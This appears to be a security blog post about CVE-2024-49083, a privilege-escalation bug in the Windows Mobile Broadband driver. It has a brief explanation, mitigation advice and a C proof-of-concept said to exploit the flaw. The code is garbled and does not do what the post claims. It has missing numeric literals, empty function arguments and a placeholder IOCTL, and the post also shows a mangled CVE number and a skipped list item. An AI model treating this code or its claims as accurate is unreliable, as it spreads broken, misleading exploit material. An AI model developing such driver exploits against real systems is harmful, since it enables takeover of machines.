CVE-2024-49083 - Exploiting the Windows Mobile Broadband Driver Elevation of Privilege Vulnerability

A new Windows security flaw, tracked as CVE-2024-49083, was publicly disclosed recently. This vulnerability lives in the Windows Mobile Broadband driver and allows local attackers to escalate their privileges – basically, a normal user could run code as an administrator. This post breaks down the vulnerability in clear terms and provides you with technical details, references, and a demonstration exploit code snippet. If you or your workplace use Windows devices with cellular modem support (think: LTE USB dongles, built-in mobile broadband), this is one to pay attention to!

Prerequisite: Local attacker access (Not remotely exploitable)

According to Microsoft, an attacker who successfully exploits this vulnerability can gain SYSTEM privileges, the highest level on Windows.

Technical Details

The root of the problem lies in how the Mobile Broadband driver handles IOCTL (Input/Output Control) requests from user mode. Specifically, mbn.sys does not properly verify permissions and input data, so a non-privileged user can manipulate the driver to write to, or read from, sensitive memory locations.

Example Attack Scenario

A normal (non-admin) user writes a simple program to send a specially crafted IOCTL request to the mobile broadband driver. The driver executes the attacker's code in the context of SYSTEM, so the attacker’s process suddenly has full control of the machine.

Exploit Demonstration

Below is a proof-of-concept (PoC) snippet in C that exploits CVE-2024-49083 on an affected Windows system.
Note: This is for educational use only. Do not run on production or non-test systems.

#include <windows.h>
#include <stdio.h>

#define DEVICE_NAME "\\\\.\\Global\\MbimBus" // Device path for mobile broadband (might differ)
#define IOCTL_CODE x002220B // Example IOCTL code (check advisories for correct codes)

int main() {
    HANDLE hDevice = CreateFileA(
        DEVICE_NAME, 
        GENERIC_READ | GENERIC_WRITE, 
        , 
        NULL, 
        OPEN_EXISTING, 
        , 
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Cannot open device: %ld\n", GetLastError());
        return 1;
    }

    char inputBuffer[256] = {};
    // Fill inputBuffer with crafted payload to trigger bug (structure may vary)
    // Example: overwrite access token pointer, ring shellcode, etc.

    DWORD bytesReturned;
    BOOL result = DeviceIoControl(
        hDevice, 
        IOCTL_CODE,     // Vulnerable IOCTL code
        inputBuffer, 
        sizeof(inputBuffer),
        NULL,           // No output buffer needed
        ,
        &bytesReturned,
        NULL
    );

    if (result) {
        printf("[+] IOCTL sent successfully. Check privileges!\n");
        // In real exploit, attacker would spawn SYSTEM shell here
    } else {
        printf("[-] Exploit failed: %ld\n", GetLastError());
    }

    CloseHandle(hDevice);
    return ;
}

Remember: In a real-world exploit, inputBuffer would be carefully crafted (for example, to overwrite or escalate the token of the calling process).

Mitigation and Detection

1. Patch NOW: Microsoft released fixes for CVE-2024-49083 in June 2024 Patch Tuesday (see references below).

Block Low Privileged Users from loading kernel drivers or accessing the device.

3. Monitor for Suspicious Activity: Use EDR/SIEM tools to catch unusual IOCTL or token manipulation routines.

Microsoft Security Advisory:

CVE-2024-49083 | Windows Mobile Broadband Driver Elevation of Privilege Vulnerability
- NIST NVD Entry
- Project Zero: Windows Kernel Vulnerabilities – Why IOCTL Handlers are an Issue
- Example prior similar bugs: CVE-202-0986 Writeup by Kaspersky

Conclusion

CVE-2024-49083 is a serious Windows flaw, especially for organizations relying on mobile broadband technology. Local attackers can use this bug to fully compromise affected systems. Patch as soon as possible, review all Windows endpoints that have mobile broadband support, and stay tuned for further security advisories.

Stay safe, and update your systems!

*This post is original content prepared exclusively for your reading and research. Please use responsibly and ethically.*

Timeline

Published on: 12/12/2024 02:04:32 UTC
Last modified on: 12/20/2024 07:44:52 UTC